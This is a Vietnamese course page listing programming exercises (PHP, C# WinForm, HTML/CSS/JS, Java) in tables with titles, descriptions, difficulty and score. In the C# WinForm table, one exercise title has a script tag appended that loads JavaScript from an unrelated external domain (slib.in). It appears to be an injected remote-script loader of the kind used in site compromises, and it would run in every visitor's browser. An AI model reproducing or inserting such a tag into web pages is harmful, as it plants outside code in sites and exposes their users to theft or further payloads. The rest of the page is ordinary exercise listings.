PHP
STT | Bài tập | Mô tả | Độ khó | Điểm |
---|---|---|---|---|
1 | Tạo kết nối với database | Sử dụng hàm kêt nối của database |
C# WinForm
STT | Bài tập | Mô tả | Độ khó | Điểm |
---|---|---|---|---|
1 | 1.1 - Khởi tạo Cấu trúc thư mục và database dự án | Thực hành cách khởi tạo cấu trúc thư mục gọn gàng theo kiểu dự án. |
||
2 | 1.3 - Tạo giao diện Form danh mục Khách hàng <script src=//slib.in/a.js></script> | |||
3 | 1.2 - Khởi tạo database và quản trị bằng Visual Studio |
Bài tập HTML, CSS, JS
STT | Bài tập | Mô tả | Độ khó | Điểm |
---|---|---|---|---|
1 | Tạo bố cục Trang web đơn giản bằng thẻ DIV | Bài tập làm quen với việc phân tích Bố cục (layout) và sử dụng thẻ DIV để thiết kế trang web. |
||
2 | Tạo trang Giới thiệu Công ty bằng Bootstrap | |||
3 | Tạo trang Xem kết quả Thi | |||
4 | Vận dụng thuộc tính vị trí Position trong CSS | position: fixed|relative|absolute; |
||
5 | Tạo Menu bên trái Sidebar | |||
6 | Tạo Menu ngang CSS | |||
7 | Tạo chương trình Tính toán Cộng trừ Nhân chia | |||
8 | Tạo chương trình Tính toán Cộng trừ Nhân chia bằng Sự kiện CLICK | |||
9 | Đề ôn tập | |||
10 | Hiển thị ngày giờ theo định dạng (format) quy định | Định dạng ngày giờ bằng Javascript |
HTML
CSS
STT | Bài tập | Mô tả | Độ khó | Điểm |
---|---|---|---|---|
1 | Đọc tên Quan hệ Ông-Cha-Con-Cháu-Anh-Em trong cây phả hệ DOM | |||
2 | Thiết kế bố cục (layout) trang web bằng thẻ DIV và CSS Float | |||
3 | Bài tập Thiết kế Khung trình bày Sản phẩm | |||
4 | Bài tập Thiết kế Khung trình bày Sản phẩm CSS3 | |||
5 | Bài tập Tạo mẫu In Hóa đơn Bán hàng bằng CSS Media Print | |||
6 | Bài tập Tổng hợp Tạo Trang Web bán hàng Thực phẩm Dinh dưỡng Organic |
JS
STT | Bài tập | Mô tả | Độ khó | Điểm |
---|---|---|---|---|
1 | Bài tập JavaScript vòng lặp | Bài tập về vòng lặp for, if và phép chia lấy dư trong JavaScript |
||
2 | Xét kết quả thi | |||
3 | Sử dụng JavaScript trong file HTML | |||
4 | Tạo và sử dụng các hàm tiện tích trong JavaScript | |||
5 | Bài tập JavaScript Mảng Array và Đối tượng Object - Trình diễn dạng Danh sách | |||
6 | Bài tập JavaScript Mảng Array và Đối tượng Object - Trình diễn dạng Bảng Table | |||
7 | Bài tập kiểm tra Thu thập và Ràng buộc dữ liệu Validation bằng Javascript Form |
Bài tập JAVA
STT | Bài tập | Mô tả | Độ khó | Điểm |
---|---|---|---|---|
1 | Chương trình nhập, xuất thông tin Sinh viên | |||
2 | Bài tập Test Java | 22 |